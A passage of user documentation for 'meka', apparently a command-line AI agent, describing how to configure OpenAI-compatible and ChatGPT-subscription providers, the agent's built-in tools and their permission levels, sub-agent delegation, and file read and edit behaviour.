The Chat Completions API (POST {base_url}/chat/completions) with an API key. Works against OpenAI and any endpoint implementing that format: Ollama, vLLM, LM Studio, OpenRouter, Synthetic, LiteLLM.
This is not the legacy /v1/completions endpoint, which is a different protocol: a bare prompt string in, choices[].text out, no tool calling. Several of those same servers also expose it; meka does not implement it.
For the same key against OpenAI’s newer protocol, see openai-responses.
Configuration
| Setting | Value |
|---|---|
Profile type | openai-chat-completions |
| Default base URL | https://api.openai.com/v1 |
| Credential | API key (sk-...) stored in the database |
| Auth method | Bearer token (Authorization: Bearer <key>) |
Quickest Start
meka provider add openai --type openai-chat-completions --model gpt-5.6-sol
meka provider add prompts for your OpenAI API key, stores it in the database, and writes the
[providers.openai] profile. To read the key from a pipe instead of prompting, pass
--api-key-stdin.
Config File
meka provider add writes this for you (the key stays in the database, not here):
default_provider = "openai"
[providers.openai]
type = "openai-chat-completions"
model = "gpt-5.6-sol"
Supported Models
Any model reachable over the Chat Completions API that supports tool calling. For OpenAI’s current line-up, see OpenAI’s models overview - meka provider add suggests gpt-5.6-sol for new OpenAI profiles. Against a compatible endpoint the valid names are that server’s: whatever Ollama, vLLM, LM Studio or OpenRouter serves. meka forwards the model string verbatim and doesn’t gate which strings are valid.
Custom Base URL
To use an OpenAI-compatible endpoint, set the profile’s base_url. Add it when creating the profile:
# Ollama (no real key; pipe a placeholder)
printf 'unused' | meka provider add ollama --type openai-chat-completions --model llama3 \
--base-url http://localhost:11434/v1 --api-key-stdin
# OpenRouter
meka provider add openrouter --type openai-chat-completions --model anthropic/claude-sonnet-4.6 \
--base-url https://openrouter.ai/api/v1
The resulting profile (the key, if any, lives in the database):
[providers.ollama]
type = "openai-chat-completions"
model = "llama3"
base_url = "http://localhost:11434/v1"
Change it later with meka provider set <name> base_url <url>.
API Details
Endpoint: POST {base_url}/chat/completions
Tool format: Tools are sent as function definitions:
{
"type": "function",
"function": {
"name": "read_file",
"description": "Read the contents of a file at the given path.",
"parameters": { "type": "object", "properties": { ... } }
}
}
Tool results: Sent back as messages with role: "tool" and the corresponding tool_call_id.
Streaming: Uses Server-Sent Events (SSE) with data: {...} lines. The stream ends with data: [DONE].
OpenAI Responses
The Responses API (POST {base_url}/responses) with an API key. This is OpenAI’s newer protocol
and the one it recommends for new work; it is also what chatgpt-subscription
speaks, so the two differ only in how they authenticate and where they post.
Setup
$ meka provider add work --type openai-responses --model gpt-5.6-sol
default_provider = "work"
[providers.work]
type = "openai-responses"
model = "gpt-5.6-sol"
Configuration
base_url
Defaults to https://api.openai.com/v1. meka appends /responses, so pass the base URL the server
publishes and nothing more:
base_url = "http://127.0.0.1:11434/v1" # Ollama
base_url = "https://openrouter.ai/api/v1" # OpenRouter
effort
Maps to reasoning.effort. When unset the whole reasoning block is omitted and the endpoint
applies its own default. See the effort reference.
Which servers serve this
| Server | Base URL | Notes |
|---|---|---|
| OpenAI | https://api.openai.com/v1 | The reference implementation |
| Ollama | http://127.0.0.1:11434/v1 | v0.13.3+ only; earlier versions 404 |
| vLLM | your deployment | |
| LM Studio | your deployment | |
| OpenRouter | https://openrouter.ai/api/v1 | Beta |
| Synthetic | not served | Not supported; use openai-chat-completions or anthropic-messages |
Only the non-stateful flavour is needed. meka replays the whole conversation every turn and sends
store: false, so it never uses previous_response_id or server-side conversation state, which is
also all the local runtimes implement.
Choosing between this and Chat Completions
Both take an API key and both reach most of the same servers, so the question is only which protocol the server implements and which one you want:
- Prefer
openai-responseswhere it is available. It is what OpenAI recommends for new work, and the agent tooling ecosystem has moved to it: OpenAI’s own Codex CLI dropped Chat Completions support entirely. - Use
openai-chat-completionsfor a server that does not serve/v1/responses, which is still a great many of them.
Neither is the legacy /v1/completions endpoint, which is a third protocol with no tool calling that
meka does not implement.
API Details
Endpoint: POST {base_url}/responses
Auth: Authorization: Bearer <api key>
Streaming: SSE, always. complete folds the stream internally rather than issuing a separate
non-streaming request.
Request body fields meka sets: model, input, instructions (the system prompt, when non-empty),
tools, tool_choice: auto, parallel_tool_calls: false, store: false, stream: true,
reasoning.effort (only when effort is set), and max_output_tokens (only when
max_output_tokens is set).
What it deliberately does not send is include: ["reasoning.encrypted_content"] or
reasoning.summary. Both are OpenAI extensions: the first round-trips reasoning across stateless
turns, the second asks for the human-readable digest meka renders as a thinking block.
chatgpt-subscription sends both because its endpoint is always ChatGPT; here the endpoint is
whatever base_url names, meka has no way to know whether either is understood, and an unrecognised
field is a rejected request rather than a degraded one.
The trade-off, stated plainly: against OpenAI itself this backend shows no thinking and carries no
reasoning between a turn’s own tool calls. Use chatgpt-subscription if you want either. Endpoints
that stream reasoning unprompted (vLLM and Ollama emit response.reasoning_text.delta without
being asked) still render their thinking here.
ChatGPT subscription
The Responses API billed to a ChatGPT subscription, at chatgpt.com/backend-api/codex/responses, using the OAuth tokens issued by ChatGPT login and mirroring the first-party Codex CLI’s request shape. The OpenAI counterpart to claude-subscription: instead of paying per token via an API key, you authenticate with your ChatGPT Plus / Pro / Team / Business / Enterprise account and usage counts against your subscription.
For the same protocol with an API key, against OpenAI or any server that serves it, see openai-responses.
Note: This provider replicates the wire shape that OpenAI’s first-party Codex CLI sends. It targets
chatgpt.com/backend-api/codex/responsesusing the OpenAI Responses API, a different protocol thanopenai-chat-completions, which uses Chat Completions againstapi.openai.com. The two providers are not interchangeable.
Configuration
| Setting | Value |
|---|---|
Profile type | chatgpt-subscription |
| Default base URL | https://chatgpt.com (request path /backend-api/codex/responses) |
| Credential | OAuth bundle stored in the database (acquired via meka provider add / login) |
| Auth method | OAuth 2.0 Authorization Code with PKCE |
| OAuth issuer | https://auth.openai.com |
| Required tier | ChatGPT Plus, Pro, Team, Business, Enterprise, or Edu |
Initial Setup
meka provider add chatgpt --type chatgpt-subscription --model gpt-5.6-sol
# A browser opens; sign in to ChatGPT and approve.
# Tokens are saved to ~/.local/share/meka/meka.db (chmod 0600).
meka provider add binds a local listener on 127.0.0.1:1455 to receive the OAuth callback, matching the redirect URI registered with OpenAI’s auth server. If port 1455 is already in use (e.g. you’re already running the Codex CLI), free it first.
On a remote or headless machine (SSH, container) the browser runs elsewhere, so the redirect to http://localhost:1455/... can’t reach meka. In that case, after approving in your browser, copy the full callback URL from the address bar (visible even though the page failed to load) and paste it at the prompt; meka picks the code and state out of it. The paste prompt runs alongside the local listener, so on a local machine the callback still completes automatically with nothing to paste.
Config File
meka provider add writes this for you (the token bundle stays in the database):
default_provider = "chatgpt"
[providers.chatgpt]
type = "chatgpt-subscription"
model = "gpt-5.6-sol"
effort = "xhigh" # optional; unset sends none, so OpenAI's default applies
The effort field maps to the Responses API reasoning.effort knob. When unset the reasoning block is omitted and OpenAI applies its own default; meka picks no tier and consults no catalog. An explicit value is absolute: sent verbatim, never clamped.
Supported Models
Whatever your ChatGPT subscription tier exposes. For the current line-up, see OpenAI’s models overview - meka provider add suggests gpt-5.6-sol for new OpenAI profiles. The model field on the request body is forwarded verbatim; meka doesn’t gate which model strings are valid.
How It Works
Each request:
- Auth header set:
Authorization: Bearer <access_token>,ChatGPT-Account-ID: <workspace_id>(extracted from the JWT id_token at login),originator: meka_cli, plus aUser-Agentidentifying meka. - Cookie jar enabled:
chatgpt.comis fronted by Cloudflare; bot-clearance cookies (__cf_bmetc.) persist across requests automatically. - Body: standard Responses API JSON:
instructions,input(an array ofmessage/reasoning/function_call/function_call_outputitems),tools, optionalreasoning.effort, plus the two reasoning parameters Codex also sends:reasoning.summary: "auto"andinclude: ["reasoning.encrypted_content"]. Both are sent on every request, whether or noteffortis configured. - Stream: SSE events:
response.output_text.deltafor text,response.output_item.added/…donefor tool calls,response.reasoning_summary_text.delta(andresponse.reasoning_text.delta) for thinking,response.reasoning_summary_part.addedfor the break between summary sections,response.completedfor end-of-turn with token usage.
Reasoning across turns
Requests are stateless (store: false), so the reasoning a model produced is only available to the next request if meka sends it back. It does: each reasoning item is recorded with its rs_… id and its encrypted_content, and replayed verbatim as a reasoning input item immediately before the output it produced. This is what lets a multi-step tool-calling turn keep one chain of thought instead of restarting it at every call, and it mirrors what the first-party Codex client does.
The encrypted content is opaque: meka cannot read it, only replay it. It is stored under a shape that records which provider it came from, so a session recorded here and resumed against Claude does not hand Claude an OpenAI blob (nor the reverse); a block from the wrong provider is simply not replayed. The summary is the readable part, and what the REPL shows as a thinking block (see [thinking] for show_content).
A session recorded by 0.41 holds its thinking blocks under a shape that names no provider, and meka does not reshape them when it opens a session. The one-shot upgrade script does it, in a pass over the database you can watch finish, because it has to guess which provider each block came from and reports what it read before it writes. Until it runs, such a block keeps its readable summary and loses its encrypted half, so that reasoning is not replayed.
5. Token refresh: when the access token is within 5 minutes of expiry, meka transparently refreshes it against auth.openai.com/oauth/token before the next request.
Limitations
- Streaming-only: the Codex endpoint has no non-streaming shape, so meka always streams here and folds the stream internally to satisfy a non-streaming completion.
--no-streamis accepted and behaves normally; it changes what the terminal renders, not what goes on the wire. - Subscription required: you need a paid ChatGPT plan with Codex enabled. Free-tier accounts can complete the OAuth flow but most models will reject requests at the API layer.
- Bot detection: chatgpt.com may serve a Cloudflare challenge if request patterns look automated. meka’s reqwest client handles cookie-clearance automatically; if you hit a hard challenge, complete it once in a regular browser to refresh the cookies.
- Endpoint stability: this is OpenAI’s subscription-internal API; OpenAI doesn’t guarantee compatibility for third-party clients. Future Codex versions could add request signing or rotate scopes; meka will need updates if that happens.
Subscription vs API Key
If you have both a ChatGPT subscription and an OpenAI API key:
- Use
chatgpt-subscriptionfor interactive work: it’s billed against your subscription’s usage cap rather than per-token, so heavy use is cheaper for most personal patterns. - Use
openai-responsesfor scripted / unattended work: it is the same protocol as this backend with a plain API key, so keys are stable, nothing depends on the Cloudflare cookie jar, and it also reaches Ollama, vLLM, LM Studio and OpenRouter. Fall back toopenai-chat-completionsfor a server that does not serve/v1/responses.
Logging Out
meka provider remove <name> deletes the stored credential
from the database, and removes the profile from the config file:
meka provider remove chatgpt
To re-authenticate the same profile without removing it (e.g. after a dead refresh token), run
meka provider login <name> for a fresh PKCE pair.
Tools Overview
Tools are the actions that the agent can perform on your behalf. The LLM decides which tools to call based on your instructions.
Available Tools
| Tool | Permission | Description |
|---|---|---|
read_file | Read | Read file contents |
edit_file | Workspace | Make string replacements in a file |
write_file | Workspace | Create or overwrite a file |
find_files | Read | Find files by glob pattern |
search_contents | Read | Search file contents with regex |
fetch_url | Read | Fetch a web page as markdown |
search_web | Read | Search the web |
execute_command | Read | Run a shell command (see the note below) |
todo | Read | Manage and read a structured task list |
agent_spawn | Read | Delegate tasks to a sub-agent |
agent_list | Read | List the sub-agents this session spawned |
agent_followup | Read | Ask a sub-agent another question |
agent_delete | Read | Discard a sub-agent and its records |
scratchpad_write | Read | Store content in the scratchpad |
scratchpad_read | Read | Read a scratchpad entry |
scratchpad_edit | Read | Edit a scratchpad entry |
scratchpad_list | Read | List scratchpad entries |
scratchpad_delete | Read | Delete a scratchpad entry |
scratchpad_merge | Read | Combine several scratchpad entries into one |
scratchpad_rename | Read | Rename a scratchpad entry |
scratchpad_load_file | Read | Load a file into the scratchpad |
scratchpad_save_file | Workspace | Write a scratchpad entry out to a path |
skill_read | Read | Load a named skill’s instructions |
skill_search | Read | Regex over the full text of every skill |
skill_write | Read | Create or update a skill |
skill_delete | Read | Delete a skill and its directory |
memory_write | Read | Save a durable note that outlives the session |
memory_read | Read | Load one saved memory in full |
memory_search | Read | Ranked full-text search over every memory |
memory_delete | Read | Delete a saved memory |
render_image | Read | View an image from in-memory base64 or scratchpad |
context_check | Read | Measure the context window live: occupancy, headroom, compaction count |
context_compact | Read | Ask for a compaction before the next step of this turn |
conversation_search | Read | Search the full conversation history, including compacted turns |
conversation_read | Read | Read conversation turns by index |
schedule_create | Read | Schedule a future turn for this session |
schedule_list | Read | List this session’s scheduled jobs |
schedule_cancel | Read | Cancel a scheduled job |
task_list | Read | List this session’s background tasks |
task_cancel | Read | Stop a running background task |
The schedule_* tools require [schedule] enabled (on by default) and the task_* tools require [background] enabled (off by default). skill_write and skill_delete require [skills] agent_managed (off by default) and are never given to a sub-agent. A disabled subsystem registers no tools at all, rather than shipping schemas that could only fail.
Permission Requirements
Tools are grouped by the minimum permission level required:
Read permission (available at read and above):
read_file,find_files,search_contents,fetch_url,search_webexecute_command(sandboxed, filesystem write-protected)todo,agent_spawn,agent_list,agent_followup,agent_delete,render_image- All skill tools, including
skill_writeandskill_deletewhen they are enabled: like memory, the store is meka’s own under its config directory, not your working tree conversation_search,conversation_read,context_check,context_compact- Every scratchpad tool except
scratchpad_save_file, which writes to a path you name and so sits atworkspacewithwrite_file - All memory tools. Writing a memory needs only read permission: the store is meka’s own, in meka’s database, not your working tree.
Workspace permission (available at workspace and above; writes are confined to the workspace roots at workspace):
edit_file,write_file,scratchpad_save_file
execute_command is not in that list: it asks for read when a sandbox backend is available and unrestricted when none is, so it is reachable at read and confined by the level, not by its own requirement.
In ask mode, all tools are available but each call requires user confirmation. Once approved, nothing is confined: execute_command runs unsandboxed and a write reaches anywhere, the same as an approved write_file. The prompt is the whole gate. Use workspace when you want a boundary instead of a prompt.
In none mode, no tools are available. The agent can only respond with text.
Filtering Built-in Tools
Any built-in can be allow-listed, blocked, or have its required permission overridden via the [tools] table in config.toml. See [tools]: built-in tool filters. Run meka tools list to see every built-in with its effective permission and current status.
MCP Tools
When MCP servers are configured, their tools are registered under a namespaced name of the form mcp__<server>__<tool> (e.g. mcp__notion__notion-search). The mcp__ prefix matches Claude Code’s convention and keeps MCP tools from colliding with built-in names. They appear in the per-turn context catalogue alongside the built-ins, with their resolved permission level annotated inline, and are called the same way.
meka also exposes seven built-in MCP meta-tools for browsing server-side resources and prompts. All are deferred by default; call load_tool with the exact name to make the schema available on the next turn:
| Tool | Permission | Description |
|---|---|---|
mcp_resource_list | Read | List resources a server exposes |
mcp_resource_read | Read | Read a server resource by URI |
mcp_prompt_list | Read | List server-defined prompts |
mcp_prompt_get | Read | Render a server prompt with arguments |
mcp_resource_subscribe | Read | Receive change notifications for a resource |
mcp_resource_unsubscribe | Read | Stop receiving change notifications |
mcp_resource_updates_list | Read | Inspect pending resource-change notifications |
Deferred Tools
Most MCP tools are deferred: they are registered and listed under [Tool discovery] in the per-turn context, but their JSON schemas are withheld from the request until the agent calls load_tool. A large server can advertise fifty tools with multi-kilobyte schemas, and shipping all of them on every turn costs more than it returns.
The trade-off is that until a tool is loaded, the agent sees only its name and a summary clipped to 250 characters. Anything past that clip is invisible, including optional parameters, and a summary that was clipped ends in ….
Two behaviours exist so this never turns into a silent wrong answer:
- Calling a deferred tool without loading it works. The agent may be confident about the required arguments, and forcing a round trip it doesn’t need is worse than allowing it.
- But when it does that and the tool has documented parameters it didn’t pass, meka appends a note to the tool result naming them, with their types, defaults, and descriptions. A wrong default stops being invisible. The note is emitted once per tool per run.
load_tool takes one name or an array of up to ten, so a task needing several tools off one server costs one round trip:
load_tool({"name": ["mcp__notion__search", "mcp__notion__fetch"]})
Tools listed in a server’s eager_load_tools skip all of this: their schemas ship from turn 1. Use it for tools whose optional parameters matter and that the agent reaches for constantly.
When writing a tool description for a server meka will consume, put whatever a caller must know to use the tool correctly in the first two sentences. That may be all anyone ever sees.
Background Calls
With [background] enabled, every tool gains an optional background parameter, MCP tools included. A call that sets it returns a task id immediately and delivers its result later as its own turn, which is what makes a twenty-minute build affordable. See Background Tasks.
execute_command({"command": "cargo test --all", "background": true})
Like scratchpad, background is meka’s own: it is consumed by the agent loop and removed from the arguments before the tool, or a remote MCP server, ever sees it.
A tool that advertises background itself keeps it. meka does not splice its own parameter over a name a tool already uses, and does not strip or interpret one either, so a server with a background colour or a detach flag of its own receives the argument untouched and the call does not detach.
These two are also the only parameters meka type-checks. A background that is not a boolean, or a scratchpad that is not a string, refuses the call and says what was expected, rather than being read as absent. Both decide what a call does rather than what it is called with, so ignoring a wrong type would silently turn a detached call into a blocking one, or drop output the agent asked to keep. A tool’s own arguments are the tool’s to validate: meka reports a mismatch as an advisory on the result and lets the call through, since a remote server is the authority on what it accepts. null counts as absent for both, which is what models emit for an optional argument they are not using.
Scratchpad Parameter
A scratchpad string parameter saves a tool’s output to the scratchpad under that name instead of returning it inline, so a large result stays out of the conversation.
execute_command({"command": "pdftotext doc.pdf -", "scratchpad": "pdf_text"})
It is honoured on every tool, MCP servers included: the redirect happens where the result is
recorded, not inside the tool. Eleven built-ins also advertise it in their schema, which is how the
model discovers it: read_file, edit_file, write_file, find_files, search_contents,
fetch_url, search_web, execute_command, conversation_read, agent_spawn and
agent_followup.
Three of those lift a cap when it is set, producing their full untruncated output: find_files (500
results), search_contents (100 matches) and fetch_url (max_length).
How Tool Calls Work
- The agent receives your instruction and decides which tools to call
- For each tool call, meka checks the current permission level
- In ask mode, you are prompted to approve or deny each tool call
- If permitted, the tool executes and its output is fed back to the agent
- The agent may make additional tool calls or respond with text
- This loop continues until the agent has no more tool calls to make
Tool calls and their results are displayed in the terminal so you can see what the agent is doing.
todo
A built-in tool for managing a structured task list during a session. The agent uses it to track multi-step work and communicate progress; the list is displayed in the terminal (for the main agent) and injected into the conversation context each turn. Every call returns the full current list (with task numbers), so the agent never needs a separate read.
Inputs (all optional):
title– a short heading summarizing the overall goal; rendered as the list’s heading (TODO: <title>). Required whenever you passitems, and persists across latersetupdates.items– replace the whole list. Each entry is a task string (status defaults topending) or an object{text, status}. Tasks are numbered1..Nin order.set– a sparse status update keyed by task number, e.g.{"1": "completed", "2": "in_progress"}. This is the common path while working.
Task statuses are pending, in_progress, completed, and cancelled. Calling todo with no arguments simply reads the current list.
agent_spawn
Spawns a sub-agent to perform research, analysis, or any other delegated task. The sub-agent gets its own private todo list (todo operates on the sub-agent’s own state), runs silently (its tool calls are not surfaced to the terminal), and returns a single text report. Use this to keep exploratory or speculative work out of the main conversation context.
Multiple agent_spawn calls in one assistant turn run in parallel; useful when independent investigations can proceed concurrently.
Recursion. Sub-agents may themselves spawn further sub-agents, so an agent can orchestrate a team. Nesting is bounded by session.subagent_max_depth (default 3; 1 reproduces the old “sub-agents can’t spawn” behavior, 0 disables agent_spawn entirely). Pass the optional max_depth parameter to tune how deep a given subtree may recurse; a built-in absolute cap always bounds real nesting so recursion can’t run away.
Permission. By default a sub-agent inherits the parent’s permission level. Pass the optional permission parameter (none / read / workspace / ask / unrestricted) to run it at a more restricted level: the value is clamped to the parent’s level as a ceiling, so a sub-agent can never be escalated above its parent. This lets an orchestrator hand untrusted or risky work to a read-only sub-agent. workspace and ask are incomparable, so asking for one under a parent holding the other yields the parent’s own level rather than either.
Tools. Pass deny_servers to withhold whole MCP servers from the sub-agent (its tools, its resources, and its prompts) or deny_tools to withhold individual tools by name. Both union with whatever [subagents] already denies; there is no way to grant something back, so a nested agent_spawn can only ever narrow further. Config is the place to put a restriction you always want, since the failure mode this guards against is an orchestrator forgetting to ask for it.
Context is granted, not inherited. A sub-agent starts with a clean slate and receives only what you ask for:
memory: "read"grants read access to your memory store. Default"none", because memories from unrelated work are context the worker pays for and reasons from. Sub-agents can never write to the store – record anything worth keeping yourself, from the worker’s report.instructions: "inherit"hands over your instructions file verbatim. Default"none", because those instructions describe you: your persona, how to address the user, what to volunteer. A worker handed one task by one of your turns is not you. Grant them when the task needs the project’s standing rules and quoting the relevant ones intopromptwould be lossy or expensive; pass askillwhen the direction is reusable.
Neither can be granted beyond what you hold yourself, so authority only narrows going down a chain of sub-agents. A worker you gave no memory cannot give its own worker any.
Follow-up. agent_spawn returns the sub-agent’s id on the first line of its result, above the report. Keep it if you might have a second question: with it you can call agent_followup instead of re-spawning a worker that would have to rediscover everything.
agent_list / agent_followup / agent_delete
A sub-agent is not a one-shot. Its conversation persists under its own session, so you can go back to it.
agent_list– the sub-agents this session spawned, one per line as<id>\t<cwd>\tturns=<n>\tlast_active=<timestamp>. Direct children only: a worker’s own sub-agents belong to it and appear in its list.agent_followup({agent, prompt, scratchpad?})– asks a sub-agent another question. It still has its own conversation, so it can build on what it already found rather than starting from your summary of it. Returns its new report.agent_delete({agent})– discards a sub-agent: its conversation, its scratchpad entries, and any sub-agents it spawned in turn. Nothing it wrote to disk is touched. Worth doing once you have what you needed, so a long session isn’t carrying every worker it ever ran.
All three refuse an id that isn’t a child of the current session, so one session can never drive or delete another’s workers.
All four go together. Denying agent_spawn in [tools].disabled_tools, or setting session.subagent_max_depth = 0, removes the three lifecycle tools too: an agent that cannot delegate has no workers for them to act on, and leaving them behind would let it drive the ones a previous run left in the database. meka tools list reports all four as disabled in either case. Denying only agent_list removes just that one.
A follow-up runs under the terms of the spawn, not your current ones. The permission level, the deny lists, the memory level and the inherited scratchpad names are recorded when the sub-agent is created and replayed on every follow-up. If you spawned a worker at read and have since switched to unrestricted, following up on it still runs it at read. That is deliberate: otherwise a second question would be a way to escalate a worker you deliberately restricted.
Two things do not survive a follow-up, because they only ever lived in memory: the sub-agent’s todo list, and which files it had read. It is told as much at the start of the turn.
One follow-up at a time per sub-agent. A second concurrent call on the same worker is refused rather than interleaved, since both would be appending to one conversation from a view of it that the other has already changed.
The skill_* tools
Skills are knowledge packages stored in ~/.config/meka/skills/<name>/SKILL.md. The per-turn context lists the installed ones with their descriptions; these tools open, search, and (when enabled) maintain them.
skill_read({"name": "<skill-name>"})returns the full body, prefixed with the skill’s base directory.skill_search({"pattern": "<regex>"})matches each line of every skill, bodies included. This is what reaches skills the capped index did not list, and what answers “which of my skills covers this” when the one-line descriptions do not.skill_write({"name": ..., "description": ..., "priority": ..., "body": ...})creates or updates a skill. Omittingbodykeeps the existing one.skill_delete({"name": ...})removes the skill’s whole directory, bundled files included.
The last two are registered only when [skills] agent_managed is on, and never for a sub-agent. See Skills for how to author skills and Letting the Agent Manage Skills for when to hand authoring to the agent.
render_image
Displays an image the agent has in memory, as base64 bytes or in a scratchpad entry, as a multimodal content block. Complements fetch_url (network) and read_file (local file) by covering the third case: image data produced on the fly by a command pipeline.
Typical workflow:
execute_command({"command": "ffmpeg -i input.mp4 -vframes 1 -f image2pipe pipe: | base64 -w0", "scratchpad": "frame"})
render_image({"from_scratchpad": "frame"})
Parameters:
| Name | Type | Required | Description |
|---|---|---|---|
from_scratchpad | string | one of two | Name of a scratchpad entry containing base64-encoded image bytes |
base64 | string | one of two | Base64-encoded image bytes, passed inline |
Exactly one of from_scratchpad or base64 must be provided. Prefer from_scratchpad for large images; inline base64 inflates tool-call JSON.
The bytes must decode to a supported raster image. PNG, JPEG, GIF, WebP, and BMP pass through unchanged; TIFF, ICO, HDR, EXR, TGA, PNM, QOI, DDS, and Farbfeld are auto-converted to PNG. Size cap is ~3.75 MB on the final payload.
Only call render_image when the current model supports vision input.
conversation_search / conversation_read
Search and re-read this session’s full conversation, including earlier turns that compaction summarized and removed from the model’s context. Compaction never deletes turns (it appends a boundary and hides the older ones); these tools read straight from the on-disk event log, so a detail the compaction summary dropped is still recoverable.
conversation_search searches and returns matching lines, each tagged with a message index (#N) and role:
conversation_search({"query": "auth token", "regex": false, "limit": 20})
query(required) – text to search for; a literal substring (case-insensitive) unlessregexis set.regex– treatqueryas a case-sensitive regular expression. Default:false.limit– maximum matches to return (capped at 100). Default: 20.
conversation_read reads turns by the #N index that conversation_search reports:
conversation_read({"start": 47, "count": 3})
start(required) – 1-based message index to read from.count– number of consecutive messages to read (max 20). Default: 1.scratchpad– save the output to a scratchpad entry instead of returning it inline.
After a compaction, the summary message reminds the agent that these tools exist. Large tool outputs appear as <large-output> references in both conversation_search and conversation_read results (rather than inlining the full payload); read their full content with scratchpad_read.
context_check / context_compact
Where conversation_* reads the archive (the full log on disk, including turns compaction removed from the window entirely), context_* manages the live window.
context_check takes no arguments and reports the current state:
Using 84000 of 200000 tokens (42%).
Headroom: 76000 tokens before auto-compaction fires at 80%.
Kept verbatim on compaction: about 16000 tokens of the most recent turns; everything
older is replaced by a summary.
Fixed overhead: about 12000 tokens of system prompt and tool schemas (estimated).
Compaction does not reclaim this.
Conversation: about 72000 tokens, which is the part compaction acts on.
Compactions so far: none, so nothing has been summarized away yet.
This exists because the pushed [Context budget] block is rendered once, at the start of a turn, and so does not move while the agent works. During a long tool loop it is stale. See What the Agent Sees.
context_compact requests a compaction before the agent’s next step. It runs once the current batch of tool calls finishes, and the turn then continues against the summary; one request is honoured per turn.
instructions– what to preserve or drop. Takes precedence over the default summary sections.keep_recent– whether to keep the most recent turns verbatim. Defaulttrue;falsestarts clean.
There is a third tool, context_replace, that exists only inside a checkpoint turn and is how the agent submits its summary. It is deliberately absent from the ordinary catalogue and from [tools] configuration. See Compacting a Session.
File Operations
read_file
Read the contents of a file at a given path. Supports text files and images.
Permission: Read
Parameters
| Name | Type | Required | Description |
|---|---|---|---|
path | string | yes | The file path to read |
offset | integer | no | Line number to start reading from (0-based) |
limit | integer | no | Maximum number of lines to read (default: 2000) |
regex | string | no | Return matching lines (capped, exact value advertised in the tool’s parameter schema) instead of a line range. Skipped for image files. |
scratchpad | string | no | Save output to the scratchpad under this name |
Behavior
limitdefaults to 2000 lines. Whenever the read stops short of the end of the file, whether because of the default or an explicitlimit, a notice naming the range shown and the total line count is appended. A definitive answer drawn from a silent truncation is worse than an error.- Use
offset/limitto page through large files. - A single read holds at most 16 MiB in memory. Asking for the whole of a file larger than that is refused, because there is no bounded way to return it; asking for a window of one is not, and streams past everything outside the window. So a command-output capture larger than the ceiling stays readable a page at a time, which is what
execute_commandpromises when it spills one to a file. - A read that shows the whole file returns it byte for byte, so a CRLF file stays CRLF and an
old_stringcopied out of it applies as written. A windowed read normalises line endings to\n; if a lateredit_filemisses for that reason it says so. - Under ACP the editor is asked for the whole document and the window is applied here, so both the truncation notice and the freshness fingerprint describe the document rather than the slice.
regexruns the pattern against each line and returnsline:contentrows (likegrep -n). It bypassesoffset/limitand is meaningless on image content. Under ACP it searches the editor’s copy of the file, like any other text read, so a search and the edit that follows it see the same document.
Image files
Recognized image extensions are returned as base64-encoded multimodal content:
- Provider-native (pass-through):
.png,.jpg/.jpeg,.gif,.webp,.bmp - Convertible (decoded and re-encoded as PNG transparently):
.tif/.tiff,.ico,.hdr,.exr,.tga,.pbm/.pgm/.ppm/.pnm,.qoi,.dds,.ff/.farbfeld - Unsupported (fall through to text read, which will fail on binary):
.svg,.jxl,.heic,.avif
Images are rejected if the final payload exceeds 3.75 MB (~5 MB base64). Conversion can enlarge an image, so a small TIFF may produce a too-large PNG.
Every image read_file returns is decoded before it is sent, including the pass-through formats, and one that does not decode is a tool error naming the failure. The same door covers fetch_url, render_image, and an image a client attaches over ACP or the HTTP API. The decode is not about the extension: a truncated or corrupt PNG keeps a valid signature, so nothing short of decoding it tells the two apart. It matters because a broken image is not refused where it is read but inside the provider, by which time it sits in a tool result the session has already saved and every later turn re-sends.
The check is strict, including PNG chunk checksums, so a damaged file that some viewers still render is refused here. That is deliberate: meka cannot know which decoder is on the other end, and being wrong the other way puts an image the provider rejects into the session permanently. The error names what failed, so a file reported as corrupt is worth re-exporting.
JPEG is decoded through a separate strict path rather than the shared one. The library meka uses for every other format hardcodes its JPEG decoder into a permissive mode with no way to switch it off, and that mode returns a picture for a stream truncated to a tenth of its bytes; the file is the one most likely to arrive truncated, so it gets a decoder configured to say so. Truncation at any depth, and a scan corrupted in place, are both refused.
Three cases are not verified, and the last two are gaps rather than decisions:
- An image too big to decode: one whose pixel count would cost more than 128 MiB, roughly 33 megapixels. The ceiling exists to stop a crafted file exhausting meka’s own memory, and declining to decode achieves that; refusing as well would reject legitimate images, since a 6000x6000 screenshot compresses to a few hundred kilobytes and is inside Anthropic’s 8000 px single-image cap. Such a file is passed through and the provider decides. Note that meka cannot downscale one either, so it also bypasses the 2000 px multi-image cap the Claude provider applies.
- Frames after the first of an animated GIF or WebP: the decoder reads one frame, so damage confined to later frames is not seen.
- An image arriving from an MCP server, which sniffs magic bytes only rather than decoding a payload meka did not produce, and a conversation restored by
meka session import, whose message content is stored as supplied. A broken image through either door reaches the provider; the degrade-and-retry is what recovers the session when it does.
Only read image files when the current model supports vision input; text-only models will either error or silently drop the image block.
Examples
Read an entire file:
meka [r] > show me the contents of src/main.rs
Read lines 10-20:
meka [r] > show me lines 10 through 20 of src/main.rs
edit_file
Modify a file. Supports two modes: replace (swap old_string for new_string) and insert (place content before or after old_string while preserving the anchor). The file must have been read with read_file first (unless force is set).
Permission: Workspace
Parameters
| Name | Type | Required | Description |
|---|---|---|---|
path | string | yes | The file path to edit |
old_string | string | yes | The exact string to find (acts as anchor in insert modes) |
new_string | string | one of three | Replace mode: replacement for old_string (an empty string deletes it) |
insert_before | string | one of three | Insert mode: text inserted immediately before old_string (anchor preserved) |
insert_after | string | one of three | Insert mode: text inserted immediately after old_string (anchor preserved) |
replace_all | boolean | no | Apply to every occurrence (default: false). If false and old_string matches more than once, the edit is rejected as ambiguous |
force | boolean | no | Bypass read-before-edit requirement (default: false) |
scratchpad | string | no | Save output to the scratchpad under this name |
Exactly one of new_string, insert_before, or insert_after must be provided. Mixing modes is rejected.
Behavior
-
If
old_stringmatches more than once andreplace_allis not set, the edit is rejected. Add surrounding context to make the anchor unique, or setreplace_allto change every occurrence. -
To delete text, use replace mode with an empty
new_string. -
The file must have been previously read with
read_fileon the same path. This prevents blind edits. Setforceto bypass this requirement. -
The read must still be valid. meka records the file’s modification time and size when it is read, and rejects an edit if either has changed since:
Error: file 'src/main.rs' changed on disk after you read it. Something else wrote to it (a shell command, another agent, or the user). Read it again before editing so you are not overwriting that change, or set force=true.This is a deliberately different message from the never-read case, because the next move differs: re-read to see what changed, then decide whether the edit still applies. Anything can be the other writer, an
